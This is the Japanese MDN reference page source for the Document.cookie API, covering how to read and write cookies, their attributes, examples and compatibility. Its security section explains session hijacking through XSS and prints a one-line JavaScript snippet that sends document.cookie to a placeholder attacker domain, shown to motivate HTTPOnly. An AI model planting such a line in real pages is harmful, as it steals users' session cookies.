1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
|
---
title: Document.cookie
slug: Web/API/Document/cookie
tags:
- API
- Document
- HTML DOM
- JS
- Reference
- cookie
- クッキー
- ストレージ
translation_of: Web/API/Document/cookie
---
<div>{{APIRef("DOM")}}</div>
<p><span class="seoSummary">{{domxref("Document")}} の <code>cookie</code> プロパティで、文書に関連付けられた<a href="/ja/docs/Web/HTTP/Cookies">クッキー</a>を読み書きすることができます。これは実際のクッキーの値に対するゲッターとセッターとして動作します。</span></p>
<h2 id="Syntax" name="Syntax">構文</h2>
<h3 id="Read_all_cookies_accessible_from_this_location" name="Read_all_cookies_accessible_from_this_location">この場所からアクセスできるすべてのクッキーを読む</h3>
<pre class="syntaxbox notranslate"><var>allCookies</var> = <var>document</var>.cookie;</pre>
<p>上記のコードで <code><var>allCookies</var></code> は、セミコロンで区切られたクッキーのリストです (つまり <code><var>key</var>=<var>value</var></code> のペア)。なお、それぞれの <code><var>key</var></code> および <code><var>value</var></code> の周囲にはホワイトスペース (空白やタブ文字) をおくことができます。実際のところ、 {{RFC(6265)}} ではそれぞれのセミコロンの後に空白1文字を入れることを必須としていますが、一部のユーザーエージェントはこれに従っていません。</p>
<h3 id="Write_a_new_cookie" name="Write_a_new_cookie">新しいクッキーを書き込む</h3>
<pre class="syntaxbox notranslate" id="new-cookie_syntax"><var>document</var>.cookie = <var>newCookie</var>;</pre>
<p>上記のコードで、 <code>newCookie</code> は <code><var>key</var>=<var>value</var></code> の形式の文字列です。なお、この方法を使用して一度に設定・更新できるクッキーは、一つだけです。</p>
<ul>
<li>オプションとして次に挙げる値を設定することができます。 key と value のペアの後にセミコロンで区切って設定することで、クッキーを設定・更新することができます。
<ul>
<li id="new-cookie_path">
<div><code>;path=<var>パス</var></code> (例えば、 '<code>/</code>' 、 '<code>/mydir</code>') 指定されない場合は、既定で現在の文書の位置のパスになります。</div>
<div class="note"><strong>メモ:</strong> {{Gecko("6.0")}} 以前では、引用符付きのパスは引用符が文字列を囲む区切り文字ではなく、文字列の一部であるかのように扱われます。これはすでに修正されています。</div>
</li>
<li id="new-cookie_domain"><code>;domain=<var>ドメイン</var></code> (例えば、 '<code>example.com</code>' または '<code>subdomain.example.com</code>')。指定されていない場合は、既定で現在の文書の位置のホストの部分になります。初期の仕様とは対照的に、ドメイン名の前のドットは無視されますが、ブラウザーはその様なドットを含むクッキーの設定を辞退することができます。ドメインが設定されれば、サブドメインも常に含まれます。
<div class="note"><strong>メモ:</strong> ドメインは JavaScript のオリジンと一致している<em>必要があります</em>。外部ドメインへのクッキーの設定は暗黙に無視されます。</div>
</li>
<li id="new-cookie_max-age"><code>;max-age=<var>寿命 (秒数)</var></code> (例えば、1年であれば <code>60*60*24*365</code> または 31536000)</li>
<li id="new-cookie_expires"><code>;expires=<var>GMTString 形式の日付</var></code> もし <code>expires</code> も <code>max-age</code> も指定しなければ、有効期限はセッションの終了までになります。
<div class="warning">
<p>ユーザーのプライバシーを考慮するのであれば、ブラウザーの有効期限の管理に頼るのではなく、ウェブアプリの実装で指定した期間の経過後にクッキーを無効化することが重要です。多くのブラウザーはユーザーがクッキーを無期限に設定することができますが、これは安全ではありません。</p>
</div>
<ul>
<li>値の形式について知りたい方は、 {{jsxref("Date.toUTCString()")}} をご覧ください。</li>
</ul>
</li>
<li id="new-cookie_secure"><code>;secure</code> https の通信を使用しているときだけ、クッキーが送信されます。 Chrome 52 以前では、このフラグは http ドメインからのクッキーに設定することができました。</li>
<li id="new-cookie_samesite"><code>;samesite</code> <a href="/ja/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> はブラウザーがこのクッキーをサイト間リクエストで送信することを防ぎます。フラグに利用可能な値は <code>lax</code> または <code>strict</code> です。
<ul>
<li><code>strict</code> の値は、通常のリンクを追う場合を含め、ブラウザーがすべてのサイト間閲覧コンテキストの対象サイトに向けてクッキーを送信することを防ぎます。</li>
<li><code>lax</code> の値は、トップレベルナビゲーションで GET リクエストの場合のみ、クッキーを送信します。これはユーザーのトラッキングに効率的でありながら、多くの CSRF 攻撃を防ぐことができます。</li>
</ul>
</li>
</ul>
</li>
<li>クッキーの値の文字列に {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} を使用すると、文字列に (クッキーの値で許可されない) コンマ、セミコロン、ホワイトスペースを使用していないことを確認できます。</li>
<li>ユーザーエージェントの実装によっては、以下のクッキーの接頭辞に対応しています。
<ul>
<li><code>__Secure-</code> ブラウザーに、セキュアなチャネルを通してリクエストが送信された場合にのみクッキーを含めるよう指示します。</li>
<li><code>__Host-</code> ブラウザーに、安全なオリジンからのクッキーのみを使用することに加え、クッキーのスコープをサーバーから渡された path 属性に限定します。サーバーが path 属性を省略した場合は、要求の URI の「ディレクトリ」が使用されます。これは、クッキーが他のドメインに送出されることを防ぐために、 domain 属性が存在してはいけないことも指示します。 Chrome では、 path 属性は常にオリジンになります。</li>
</ul>
<div class="note">ダッシュは接頭辞の一部とみなされます。</div>
<div class="note">これらのフラグは <code>secure</code> 属性と一緒の場合のみ設定できます。</div>
</li>
</ul>
<div class="note"><strong>メモ:</strong> 上記のコードに見られるように、 <code>document.cookie</code> はネイティブの<em>セッター</em>及び<em>ゲッター</em>を持つ<a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">アクセサープロパティ</a>であり、値を持つ <a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">データプロパティ</a>では<em>ありません</em>。書き込んだものと読みこんだものは同じにはならず、常に JavaScript インタープリターに仲介されます。</div>
<h2 id="Example" name="Example">例</h2>
<h3 id="Example_1_Simple_usage" name="Example_1_Simple_usage">例 1: 単純な使用方法</h3>
<pre class="brush: js notranslate">document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
alert(document.cookie);
}
</pre>
<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button>
</pre>
<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p>
<h3 id="Example_2_Get_a_sample_cookie_named_test2" name="Example_2_Get_a_sample_cookie_named_test2">例 2: <em>test2</em> という名前のサンプルクッキーを取得</h3>
<pre class="brush: js notranslate">document.cookie = "test1=Hello";
document.cookie = "test2=World";
const cookieValue = document.cookie
.split('; ')
.find(row => row.startsWith('test2'))
.split('=')[1];
function alertCookieValue() {
alert(cookieValue);
}
</pre>
<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre>
<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p>
<h3 id="Example_3_Do_something_only_once" name="Example_3_Do_something_only_once">例 3: 一度だけ何かを行う</h3>
<p>以下のコードを使用するためには、すべての <code>doSomethingOnlyOnce</code> の語 (クッキーの名前) が現れるところを専用の名前に置き換えてください。</p>
<pre class="brush: js notranslate">function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
alert("Do something here!");
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
}</pre>
<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre>
<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p>
<h3 id="Example_4_Reset_the_previous_cookie" name="Example_4_Reset_the_previous_cookie">例 4: 前回のクッキーをリセット</h3>
<pre class="brush: js notranslate">function resetOnce() {
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}</pre>
<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre>
<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p>
<h3 id="Example_5_Check_a_cookie_existence" name="Example_5_Check_a_cookie_existence">例 5: クッキーの存在をチェック</h3>
<pre class="brush: js notranslate">//ES5
if (document.cookie.split(';').some(function(item) {
return item.trim().indexOf('reader=') == 0
})) {
console.log('The cookie "reader" exists (ES5)')
}
//ES2016
if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
console.log('The cookie "reader" exists (ES6)')
}
</pre>
<h3 id="Example_6_Check_that_a_cookie_has_a_specific_value" name="Example_6_Check_that_a_cookie_has_a_specific_value">例 6: クッキーが特定の値を持っていることをチェック</h3>
<pre class="brush: js notranslate">//ES5
if (document.cookie.split(';').some(function(item) {
return item.indexOf('reader=1') >= 0
})) {
console.log('The cookie "reader" has "1" for value')
}
//ES2016
if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
console.log('The cookie "reader" has "1" for value')
}
</pre>
<h2 id="Security" name="Security">セキュリティ</h2>
<p><code>path</code> 属性は、異なるパスによる認証されていないクッキーの読み込みから守ってくれ<em>ない</em>ということに注意することが重要です。これはシンプルな DOM で簡単にバイパスできます (たとえば、クッキーのパスとともに隠し {{HTMLElement("iframe")}} 要素を生成して、この iframe の <code>contentDocument.cookie</code> プロパティにアクセスします)。クッキーのアクセスを守る唯一の方法は、異なるドメインやサブドメインを使うことで、<a href="/ja/docs/Same_origin_policy_for_JavaScript">同一オリジンポリシー</a>を適用することです。</p>
<p>クッキーは普段、ウェブアプリケーションでユーザーと認証されたセッションを識別するために使われます。そこで、ウェブアプリケーションからのクッキーを盗まれると、認証されたユーザーのセッションハイジャックにつながります。クッキーを盗むための一般的な方法は、ソーシャルエンジニアリングを使用するか、アプリケーション内の XSS 脆弱性の悪用です。</p>
<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
</pre>
<p><code>HTTPOnly</code> クッキー属性は、 JavaScript からのクッキー値へのアクセスを防止することで、この攻撃を軽減することに役立ちます。より詳細情報は <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a> を見てください。</p>
<h2 id="Notes" name="Notes">メモ</h2>
<ul>
<li>Firefox 2 から、より良いクライアント側ストレージの機構を利用できます。 - <a href="/ja/docs/DOM/Storage">WHATWG DOM ストレージ</a>です。</li>
<li>有効期限を 0 に更新するだけで、クッキーを削除できます。</li>
<li>クッキーを持てば持つほど、サーバとクライアント間の通信で、より多くのデータが送信されることを忘れないでください。これはリクエストを遅くします。もし、クライアントだけにデータを持たせ続けたいなら、 <a href="/ja/docs/DOM/Storage">WHATWG DOM ストレージ</a> を使うことを強くお勧めします。</li>
<li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (5.3 章, "Implementation Limits") は、クッキーのキーまたは値の長さについて<strong>最大長を設けない</strong>よう指定しており、 <strong>arbitrarily large cookies</strong> への対応を実装するよう勧めています。各ブラウザーの実装では最大値は異なっている可能性があるので、それぞれのブラウザーのドキュメントを参照してください。</li>
</ul>
<p><code>document.cookie</code> アクセサープロパティの<a href="#Syntax">構文</a>は、クッキーのクライアント・サーバー型の性質によるもので、他のクライアント・クライアントストレージメソッド (例えば <a href="/ja/docs/Web/Guide/API/DOM/Storage">localStorage</a> など) とは異なります。</p>
<h4 id="The_server_tells_the_client_to_store_a_cookie" name="The_server_tells_the_client_to_store_a_cookie">サーバーがクライアントにクッキーを格納するよう指示する</h4>
<pre class="eval notranslate">HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[content of the page here]</pre>
<h4 id="The_client_sends_back_to_the_server_its_cookies_previously_stored" name="The_client_sends_back_to_the_server_its_cookies_previously_stored">クライアントが以前格納されたクッキーをサーバーに送り返す</h4>
<pre class="eval notranslate">GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
</pre>
<h2 id="Specifications" name="Specifications">仕様書</h2>
<table class="standard-table">
<thead>
<tr>
<th scope="col">仕様書</th>
<th scope="col">状態</th>
<th scope="col">備考</th>
</tr>
</thead>
<tbody>
<tr>
<td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td>
<td>{{Spec2("DOM2 HTML")}}</td>
<td>初回定義</td>
</tr>
<tr>
<td>{{SpecName("Cookie Prefixes")}}</td>
<td>{{Spec2("Cookie Prefixes")}}</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div>
<p>{{Compat("api.Document.cookie")}}</p>
<h2 id="See_also" name="See_also">関連情報</h2>
<ul>
<li><a href="/ja/docs/Web/HTTP/Cookies">HTTP Cookie</a></li>
<li><a href="/ja/docs/Web/Guide/API/DOM/Storage">DOM ストレージ</a></li>
<li><a href="/ja/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li>
<li>{{jsxref("Date.toUTCString()")}}</li>
<li><a href="/ja/docs/Web/HTTP"><code>HTTP</code></a></li>
<li><a href="/ja/docs/Code_snippets/Cookies">Cookie (コードスニペット)</a></li>
<li><a href="https://tools.ietf.org/html/rfc2965">RFC 2965</a></li>
</ul>
|